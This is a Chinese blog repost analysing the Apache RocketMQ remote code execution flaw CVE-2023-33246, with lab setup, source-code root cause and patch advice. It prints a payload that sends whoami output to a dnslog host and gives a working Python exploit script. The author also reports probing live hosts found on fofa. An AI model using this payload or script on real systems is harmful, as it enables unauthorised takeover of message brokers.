Apache RocketMQ 远程代码执行漏洞 (CVE-2023-33246)

admin 2024年10月18日23:27:48评论65 views字数 6621阅读22分4秒阅读模式
0x00 前言

工作过程中有涉及到此漏洞,故抽空看了一下,于是有了这篇复现分析笔记。这个漏洞大概是五月下旬爆出的,前期并没有太多具体细节和利用工具。不过近日发现,该漏洞的EXP也被公开了一段时间了。

0x01 漏洞描述

Apache RocketMQ 远程代码执行漏洞 (CVE-2023-33246)
Apache RocketMQ远程代码执行漏洞(漏洞编号:CVE-2023-33246),公布时间为2023-05-23,该漏洞会造成远程命令执行,攻击者可以直接获取到RocketMQ框架中节点主机的控制权限。经分析,漏洞成因主要为:

  • 一是框架协议通信过程中未进行身份验证、协议内容明文传输;
  • 二是框架后端调用敏感函数前未对参数进行安全检查;

RocketMQ整体架构图:

RocketMQ框架是阿里巴巴集团控股有限公司旗下的一款开源的高性能、高吞吐量的分布式消息中间件。后由阿里巴巴捐赠给Apache软件基金会,成为Apache的一个顶级项目Apache RocketMQ,官网为http://rocketmq.apache.org/。RocketMQ框架由Java语言开发,尤其在电商领域提供了极高的并发支持和较广业务支撑,例如,可服务于互联网电商企业的注册、订单、库存、物流等业务,以及秒杀活动、周年庆、定期特惠等峰值时刻。

Apache RocketMQ 远程代码执行漏洞 (CVE-2023-33246)
核心部分包括:

  • NameServer节点/集群:用于运维管理,如路由注册等。
  • Broker节点/集群:用户核心的消息订阅发送逻辑。
  • Producer是消息数据的产生方,向消息服务器发送消息;
  • Consumer是消息的接收处理方。
  • Console节点用于提供Web管理界面(可扩展选项)。
0x02 漏洞利用条件

Apache RocketMQ版本 < 5.1.1

0x03 漏洞复现

3.1 环境搭建

本地复现环境配置:https://github.com/yizhimanpadewoniu/CVE-2023-33246-Copy

docker pull镜像报错的解决方案:https://www.cnblogs.com/lvzhenjiang/p/14949722.html

# 启动namesrvdocker run -dit -p 9876:9876 -p 10909:10909 --name mqsrv -e "MAX_POSSIBLE_HEAP=100000000" apache/rocketmq:4.9.1 sh mqnamesrv /bin/bash# 启动brokerdocker run -dit -p 10908:10908 -p 10911:10911 --name mqbroker --restart=always --link mqsrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -e "MAX_POSSIBLE_HEAP=200000000" apache/rocketmq:4.9.1 sh mqbroker -c /home/rocketmq/rocketmq-4.9.1/conf/broker.conf# 启动consoledocker run -dit --name mqconsole -p 8080:8080 -e "JAVA_OPTS=-Drocketmq.config.namesrvAddr=mqsrv:9876 -Drocketmq.config.isVIPChannel=false" apacherocketmq/rocketmq-console:2.0.0

看到console的web界面就算搭建成功了

Apache RocketMQ 远程代码执行漏洞 (CVE-2023-33246)
3.2 本地复现

这里用GitHub上的开源EXP:https://github.com/SuperZero/CVE-2023-33246

利用DNS外带,可以查看到命令执行的结果

Apache RocketMQ 远程代码执行漏洞 (CVE-2023-33246)
Apache RocketMQ 远程代码执行漏洞 (CVE-2023-33246)

反弹shell成功,获得broker节点的控制权限

Apache RocketMQ 远程代码执行漏洞 (CVE-2023-33246)
Apache RocketMQ 远程代码执行漏洞 (CVE-2023-33246)
3.3 真实环境

以console页面的RocketMq-console-ng作为指纹,fofa上扫一波,随机抽样验证了漏洞存在。

Apache RocketMQ 远程代码执行漏洞 (CVE-2023-33246)
0x04 漏洞成因分析

对EXP的攻击流量抓包分析,发现EXP与目标系统做了两次TCP交互。第一次交互是和NameSever(9876端口),第二次交互是和Broker(10911端口)

Apache RocketMQ 远程代码执行漏洞 (CVE-2023-33246)

在第一次交互中,攻击者仿冒Console去访问NameSever(9876端口),然而通信前并没有进行身份验证,并且通信数据明文传输。

Apache RocketMQ 远程代码执行漏洞 (CVE-2023-33246)
Apache RocketMQ 远程代码执行漏洞 (CVE-2023-33246)
下载RocketMQ 4.9.1框架源码分析(https://archive.apache.org/dist/rocketmq/4.9.1/rocketmq-all-4.9.1-source-release.zip)

搜索关键词code,在org.apache.rocketmq.common.protocol.RequestCode中发现code=105的对应定义

Apache RocketMQ 远程代码执行漏洞 (CVE-2023-33246)

查看变量引用,定位到getRouteInfoByTopic(ctx, request)方法分析,第一次交互应该是获得注册Broker的路由信息(如IP、端口等)和配置信息。

Apache RocketMQ 远程代码执行漏洞 (CVE-2023-33246)

在第二次交互中,攻击者仿冒NameServer与Broker通信(10911端口),依然没有进行身份验证和加密传输

Apache RocketMQ 远程代码执行漏洞 (CVE-2023-33246)
Apache RocketMQ 远程代码执行漏洞 (CVE-2023-33246)

可以看到这次交互的请求体中不仅包括了json,还接了一段body:

filterServerNums=1rocketmqHome=-c $@|sh . echo curl http://`whoami`.7w10nq.dnslog.cn;

发现进行的是code=25的操作,作用应该是更新Broker的配置,查看引用,定位到updateBrokerConfig(ctx, request)方法

Apache RocketMQ 远程代码执行漏洞 (CVE-2023-33246)

跟进org.apache.rocketmq.broker.processor.AdminBrokerProcessor#updateBrokerConfig,可以看到在更新配置属性之前,主要是字符串编码处理以及转化为转键值对属性,并未对输入进行安全检查。

Apache RocketMQ 远程代码执行漏洞 (CVE-2023-33246)

继续跟进update方法可以看到,对所传入的待更新的配置属性,只检查属性名是否是Broker内置的,否则对于未知属性名进行不更新,没有进行其他安全检查。

Apache RocketMQ 远程代码执行漏洞 (CVE-2023-33246)
在org.apache.rocketmq.common.BrokerConfig中可以看到Broker内置的属性,攻击流量中协议的body部分就是对filterServerNums和rocketmqHome属性进行更新,通过更新配置属性filterServerNums=1启用了filterServer机制(默认filterServerNums=0),然后在配置属性rocketmqHome的更新值中拼接了系统命令。

基于类模式过滤是指在 Broker 端运行 1 个或多个消息过滤服务器( FilterServer ),RocketMQ 允许消息消费者自定义消息过滤实现类并将其代码上传到 FilterServer 上,消息消费者向 FilterServer 拉取消息, FilterServer 将消息消费者的拉取命令转发到Broker,然后对返回的消息执行消息过滤逻辑,最终将消息返回给消费端,相当于加了FilterServer作为中间人。

Apache RocketMQ 远程代码执行漏洞 (CVE-2023-33246)
通过上述分析可知,RCE的命令能够通过更新功能,成功写入到配置属性中,那么如何触发执行呢?

既然EXP特意去启用了RocketMQ的filterServer机制,那么或许就是漏洞触发的条件,查看变量引用

Apache RocketMQ 远程代码执行漏洞 (CVE-2023-33246)

继续回溯getFilterServerNums()方法的调用,定位到org.apache.rocketmq.broker.filtersrv.FilterServerManager#createFilterServer,这里看到FilterServer创建过程中会调用FilterServerUtil.callShell()执行命令。

Apache RocketMQ 远程代码执行漏洞 (CVE-2023-33246)

跟进FilterServerUtil.callShell(),发现它以空格为分隔符,将命令字符串分割成字符串数组,然后直接给到Runtime.getRuntime().exec()中去执行,那么我们如果能够控制传入的参数shellstring,就能够RCE

Apache RocketMQ 远程代码执行漏洞 (CVE-2023-33246)

回到createFilterServer中,可以看到cmd是由buildStartCommand()初始化得到的,所以跟进该方法

Apache RocketMQ 远程代码执行漏洞 (CVE-2023-33246)
这里对命令字符串进行了拼接,拼接的参数来自Broker的配置属性RocketmqHome,而前面说过Broker的配置属性我们是可以任意控制的。因此,我们可以控制命令执行函数的输入从而造成RCE。

那么怎么才能触发createFilterServer方法呢,查看调用,发现start方法,内部重载了run方法,每隔一段时间就执行一次

Apache RocketMQ 远程代码执行漏洞 (CVE-2023-33246)

继续往上回溯调用,定位到org.apache.rocketmq.broker.BrokerController#start

Apache RocketMQ 远程代码执行漏洞 (CVE-2023-33246)
Apache RocketMQ 远程代码执行漏洞 (CVE-2023-33246)

继续回溯,定位到org.apache.rocketmq.broker.BrokerStartup#start,可以发现Broker只要启动运行,就会自动执行start方法,而start方法中如果检测到启动了FilterServer机制,则会自动触发createFilterServer方法。

Apache RocketMQ 远程代码执行漏洞 (CVE-2023-33246)

那么一切就顺理成章了,RCE漏洞触发链为:

org.apache.rocketmq.broker.BrokerStartup#mainorg.apache.rocketmq.broker.BrokerStartup#startorg.apache.rocketmq.broker.BrokerController#startorg.apache.rocketmq.broker.filtersrv.FilterServerManager#startjava.lang.Runnable#runorg.apache.rocketmq.broker.filtersrv.FilterServerManager#createFilterServerorg.apache.rocketmq.broker.filtersrv.FilterServerManager#buildStartCommandorg.apache.rocketmq.broker.filtersrv.FilterServerManager#createFilterServerorg.apache.rocketmq.broker.filtersrv.FilterServerUtil#callShelljava.lang.Runtime#exec(java.lang.String[])

我们再看一下EXP给的jar包,简单调试一下,看一下思路

Apache RocketMQ 远程代码执行漏洞 (CVE-2023-33246)
Apache RocketMQ 远程代码执行漏洞 (CVE-2023-33246)
主函数逻辑很简单,首先在Broker更新的配置属性中写入命令并启用filterServer,然后实例化DefaultMQAdminExt(RocketMQ官方运维管理工具mqadmin的核心组件)与远端RocketMQ系统进行交互,过程中调用updateBrokerConfig方法去更新配置,最后等待下一次createFilterServer方法执行时就会触发漏洞。

但是这里最后拼接处的命令有点迷,我们进入容器查看rocketmq的broker日志,以之前打反弹shell的payload为例

Apache RocketMQ 远程代码执行漏洞 (CVE-2023-33246)

不是很明白为什么选择用sh -c $@|sh . echo开头?直接以sh -c也行吧,要执行的命令之间用t之类的做分隔符,这样就不会被splitShellString方法分割。例如:

import socket, binasciiclient = socket.socket()client.connect(('127.0.0.1', 10911))json = '{"code":25,"extFields":{"test":"RockedtMQ"},"flag":0,"language":"JAVA","opaque":266,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')body='filterServerNums=1nnamesrvAddr=127.0.0.1:9876nrocketmqHome=-c curlthttp://xx.dnslog.cn #'.encode('utf-8')json_lens = int(len(binascii.hexlify(json).decode('utf-8')) / 2)part1 = '00000000' + str(hex(json_lens))[2:]all_lens = int(4 + len(binascii.hexlify(body).decode('utf-8')) / 2 + json_lens)part2 = '00000000' + str(hex(all_lens))[2:]data = part2[-8:] + part1[-8:] + binascii.hexlify(json).decode('utf-8') + binascii.hexlify(body).decode('utf-8')client.send(bytes.fromhex(data))data_recv = client.recv(1024)print(data_recv)
总之,漏洞成因主要是两点:

  • RocketMQ框架中节点间的重要交互过程未进行身份验证,内容明文传输
  • RocketMQ框架后端调用敏感函数前未对参数进行安全检查

另外,CVE-2023-33246这个漏洞其实算是二合一,在官方的第一次补丁中 (https://github.com/apache/rocketmq/pull/6733/files#diff-fc0edd1ba06fb909a87fc13193e0b55eb5ad3a7eef4a524bb34f1496b2326a50),可以发现ban了一些其他属性:

  • brokerConfigPath
  • configStorePath
  • kvConfigPath
  • configStorePathName
Apache RocketMQ 远程代码执行漏洞 (CVE-2023-33246)
因为CVE-2023-33246这个漏洞中其实最开始是存在一个任意文件写入的利用链,也可以尝试写入cron来RCE,但是利用起来相对麻烦,具体分析可以参考lvyyevd师傅的博客:http://www.lvyyevd.cn/archives/rocketmqrcecve-2023-33246-fen-xi,但个人认为不如上述通过Runtime exec来RCE的链子。

0x05 漏洞修复

在官方的第二次补丁(https://github.com/apache/rocketmq/pull/6749/files#diff-90b2c9df4cdd6dacc2cbccf461d3677f4fc0b83a209b055e9ad27729bffe646e)中,直接移除了filter server的相关模块,也就是针对Runtime exec的链子的修复

Apache RocketMQ 远程代码执行漏洞 (CVE-2023-33246)
修复建议直接升级RocketMQ框架:RocketMQ 5.* >= 5.1.1,RocketMQ 4.* >= 4.9.6。官方补丁下载地址:https://rocketmq.apache.org/download/

Apache RocketMQ 远程代码执行漏洞 (CVE-2023-33246)
参考文章

  • https://xz.aliyun.com/t/12589#toc-5
  • http://www.lvyyevd.cn/s/about/
  • https://blog.csdn.net/jdhellfire/article/details/131009358
  • https://github.com/SuperZero/CVE-2023-33246
Tips:
文章来源:

网络空间安全与法治协同创新中心

往期精彩

工具获取回复“burp”“awvs”“nessus”“ladon”"Forfity"等可以。

快速攻击全自动化工具JuD

Exp-Tools 1.1.3版本发布

GUI-tools渗透测试工具箱框架

阿波罗自动化攻击评估系统

微软 Word RCE附PoC

Clash最新远程代码执行漏洞(附POC)

禅道系统权限绕过与命令执行漏洞(附POC)

【附EXP】CVE-2022-40684 & CVE-2022-22954

网络安全应急预案合集

Apache RocketMQ 远程代码执行漏洞 (CVE-2023-33246)
师傅们求点赞,求支持!

原文始发于微信公众号(WIN哥学安全):【漏洞复现】Apache RocketMQ 远程代码执行漏洞 (CVE-2023-33246)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月18日23:27:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Apache RocketMQ 远程代码执行漏洞 (CVE-2023-33246)https://cn-sec.com/archives/1876804.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息